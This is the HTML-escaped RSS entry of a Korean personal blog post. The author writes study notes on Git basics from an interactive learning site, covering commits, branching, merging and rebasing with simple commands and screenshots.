  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rDf8K/dJMcajhdcsP/x7ni9YMZ6pAoYa4zREgWV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rDf8K/dJMcajhdcsP/x7ni9YMZ6pAoYa4zREgWV0/img.png&quot; data-origin-width=&quot;839&quot; data-origin-height=&quot;859&quot; style=&quot;width: 33.0975%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rDf8K/dJMcajhdcsP/x7ni9YMZ6pAoYa4zREgWV0/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrDf8K%2FdJMcajhdcsP%2Fx7ni9YMZ6pAoYa4zREgWV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;839&quot; height=&quot;859&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQkwRU/dJMcajhdctw/ezuUe3u48oTAbMe9shOOhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQkwRU/dJMcajhdctw/ezuUe3u48oTAbMe9shOOhK/img.png&quot; data-origin-width=&quot;873&quot; data-origin-height=&quot;450&quot; style=&quot;width: 65.7397%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQkwRU/dJMcajhdctw/ezuUe3u48oTAbMe9shOOhK/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQkwRU%2FdJMcajhdctw%2FezuUe3u48oTAbMe9shOOhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;873&quot; height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;메인&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git 기본&lt;/li&gt;
&lt;li&gt;다음 단계로&lt;/li&gt;
&lt;li&gt;코드 이러저리 옮기기&lt;/li&gt;
&lt;li&gt;종합 선물세트&lt;/li&gt;
&lt;li&gt;고급 문제&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원격&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;푸시와 풀 -- git 원격 저장소!&lt;/li&gt;
&lt;li&gt;origin 그 너머로 -- 고급 git 원격 저장소&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 이런 식이네요. 일단 지금부터 팔팔 끓여볼게요&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 git 기본 챕터부터 시작해볼게요&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Git 커밋 소개&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;커밋은 git 저장소에 여러분의 디렉토리에 있는 모든 파일에 대한 스냅샷을 기록하는 것&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;깃은 가능한&amp;nbsp; 한 커밋을 가볍게 유지하고자 함.&lt;/li&gt;
&lt;li&gt;커밋할 때마다 디렉토리 전체를 복사하지는 않음&lt;/li&gt;
&lt;li&gt;각 커밋은 저장소의 이전 버전과 다음 버전의 변경내역(delta)을 저장함&lt;/li&gt;
&lt;li&gt;대부분의 커밋이 그 커밋 위의 부모 커밋을 가리킴&lt;/li&gt;
&lt;li&gt;커밋은 매우 가볍과 커밋 사이의 전환도 매우 빠름&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;저장소를 복제(clone)하려면 모든 변경분(delta)를 풀어내야 함&lt;br /&gt;=&amp;gt; 이 때문에 명령행 결과로 아래 문구를 볼 수 있음!&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;resolving deltas&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crWpYP/dJMcaiWUDk7/KuIrVTwwM5NHeeoXy97970/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crWpYP/dJMcaiWUDk7/KuIrVTwwM5NHeeoXy97970/img.png&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;579&quot; style=&quot;width: 45.9175%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crWpYP/dJMcaiWUDk7/KuIrVTwwM5NHeeoXy97970/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrWpYP%2FdJMcaiWUDk7%2FKuIrVTwwM5NHeeoXy97970%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;890&quot; height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nfC20/dJMcaaYUm5l/ercUOAHTlizDZtKj0CUDQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nfC20/dJMcaaYUm5l/ercUOAHTlizDZtKj0CUDQ0/img.png&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;267&quot; style=&quot;width: 52.9197%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nfC20/dJMcaaYUm5l/ercUOAHTlizDZtKj0CUDQ0/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnfC20%2FdJMcaaYUm5l%2FercUOAHTlizDZtKj0CUDQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;267&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습도 할 수 있어서 좋으네여 ㅎㅅㅎ&lt;br /&gt;이런 페이지를 왜 이제야 알았담...&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Git 브랜치&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;브랜치 역시 가벼운 동작! 브랜치는 특정 커밋에 대한 참조와 비슷함.&lt;br /&gt;이런 사실 때문에 수많은 git 예찬론자들은 &quot;브랜치를 서둘러서, 그리고 자주 만들라&quot; 라고 한다구 하시네요...&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브랜치를 많이 만들어도 메모리나 디스크 공간에 부담이 되지 않음&lt;/li&gt;
&lt;li&gt;커다란 브랜치로 만들기보다는, 작은 단위로 잘게 나누는 것이 좋음&lt;/li&gt;
&lt;li&gt;브랜치와 커밋을 같이 사용하곤 함.&lt;/li&gt;
&lt;li&gt;일단은 단순히 브랜치를 &quot;하나의 커밋과 그 부모 커밋들을 포함하는 작업 내역&quot;이라고 기억해둘 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4xfcF/dJMcaaYUnkN/p0hKbcOGVBLH2vbijPIqq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4xfcF/dJMcaaYUnkN/p0hKbcOGVBLH2vbijPIqq1/img.png&quot; data-origin-width=&quot;915&quot; data-origin-height=&quot;593&quot; style=&quot;width: 31.2537%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4xfcF/dJMcaaYUnkN/p0hKbcOGVBLH2vbijPIqq1/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4xfcF%2FdJMcaaYUnkN%2Fp0hKbcOGVBLH2vbijPIqq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;915&quot; height=&quot;593&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOvOR2/dJMcadg2ALv/ERQNZMK6VJOgO2ZkldU81K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOvOR2/dJMcadg2ALv/ERQNZMK6VJOgO2ZkldU81K/img.png&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;503&quot; style=&quot;width: 34.2283%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOvOR2/dJMcadg2ALv/ERQNZMK6VJOgO2ZkldU81K/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOvOR2%2FdJMcadg2ALv%2FERQNZMK6VJOgO2ZkldU81K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;503&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYzEh9/dJMcadadg2I/sQUWwUWHk5DojiZjGAb2bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYzEh9/dJMcadadg2I/sQUWwUWHk5DojiZjGAb2bK/img.png&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;582&quot; style=&quot;width: 32.1924%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYzEh9/dJMcadadg2I/sQUWwUWHk5DojiZjGAb2bK/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYzEh9%2FdJMcadadg2I%2FsQUWwUWHk5DojiZjGAb2bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;925&quot; height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;새 브랜치 만들기&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git branch [브랜치명]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;변경분을 커밋하기 전에 새 브랜치로 이동하게 됨&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git checkout [브랜치명]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;브랜치와 합치기(Merge)&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;두 별도의 브랜치를 합치는 방법!&lt;br /&gt;=&amp;gt; 브랜치를 따고, 새 기능을 개발하고 합칠 수 있게 됨!&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git merge&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;두 개의 부모를 가리키는 특별한 커밋을 만들어 냄&lt;br /&gt;두 개의 부모가 있는 커밋이라는 것은&amp;nbsp;&lt;br /&gt;&quot; 한 부모의 모든 작업내역과 나머지 부모의 모든 작업, 그리고 그 두 부모의 모든 부모들의 작업 내역을 포함한다&quot;라는 의미가 담김&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7zwSa/dJMb99Z2DEN/IwEYpORLQGrQrXYKK7lRek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7zwSa/dJMb99Z2DEN/IwEYpORLQGrQrXYKK7lRek/img.png&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;431&quot; style=&quot;width: 56.695%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7zwSa/dJMb99Z2DEN/IwEYpORLQGrQrXYKK7lRek/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7zwSa%2FdJMb99Z2DEN%2FIwEYpORLQGrQrXYKK7lRek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xUDdy/dJMcaaLofMv/ARHuNwGYCcitfSDTP8QwO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xUDdy/dJMcaaLofMv/ARHuNwGYCcitfSDTP8QwO0/img.png&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;475&quot; style=&quot;width: 42.1422%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xUDdy/dJMcaaLofMv/ARHuNwGYCcitfSDTP8QwO0/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxUDdy%2FdJMcaaLofMv%2FARHuNwGYCcitfSDTP8QwO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;367&quot; height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcgVix/dJMcaa5G3oA/V7Kizaa01tBeyDoTsnJagK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcgVix/dJMcaa5G3oA/V7Kizaa01tBeyDoTsnJagK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcgVix/dJMcaa5G3oA/V7Kizaa01tBeyDoTsnJagK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcgVix%2FdJMcaa5G3oA%2FV7Kizaa01tBeyDoTsnJagK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;499&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Git 리베이스&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;브랜치끼리의 작업을 접목하는 두 번째 방법 !&lt;br /&gt;기본적으로 커밋들을 모아서 복사한 뒤, 다른 곳에 떨궈 놓는 것.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리베이스를 하면 커밋들의 흐름을 보기 좋게 한 줄로 만들 수 있다는 장점이 있음&lt;/li&gt;
&lt;li&gt;저장소의 커밋 로그와 이력이 한결 깨끗해짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xgoib/dJMcadnLZEe/iQRX4VzwVrURT72SGXB9wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xgoib/dJMcadnLZEe/iQRX4VzwVrURT72SGXB9wk/img.png&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;581&quot; style=&quot;width: 46.6057%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xgoib/dJMcadnLZEe/iQRX4VzwVrURT72SGXB9wk/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxgoib%2FdJMcadnLZEe%2FiQRX4VzwVrURT72SGXB9wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;895&quot; height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bagHYR/dJMcabQ3fqN/uCJSH5L8ptNsN7fAeWZ681/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bagHYR/dJMcabQ3fqN/uCJSH5L8ptNsN7fAeWZ681/img.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;519&quot; style=&quot;width: 52.2315%;&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bagHYR/dJMcabQ3fqN/uCJSH5L8ptNsN7fAeWZ681/img.png&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbagHYR%2FdJMcabQ3fqN%2FuCJSH5L8ptNsN7fAeWZ681%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git rebase [리베이스 할 곳]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;확실히 학습용 사이트와 같이 배우니&lt;br /&gt;어려울 거라고 생각했던 깃도 금방 배울 수 있네요!!!&lt;br /&gt;하하하!!!&lt;br /&gt;&lt;br /&gt;그렇다면 이만 저는 &lt;br /&gt;여기까지~! &lt;br /&gt;다음 편에서 만나요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uQaRY/dJMcabcsDfQ/lkcfceUBxV1rQi8C21US2K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uQaRY/dJMcabcsDfQ/lkcfceUBxV1rQi8C21US2K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uQaRY/dJMcabcsDfQ/lkcfceUBxV1rQi8C21US2K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuQaRY%2FdJMcabcsDfQ%2FlkcfceUBxV1rQi8C21US2K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;414&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/10</guid>
      <comments>https://gummybearsong.tistory.com/10#entry10comment</comments>
      <pubDate>Fri, 20 Mar 2026 16:26:15 +0900</pubDate>
    </item>
  </channel>
</rss>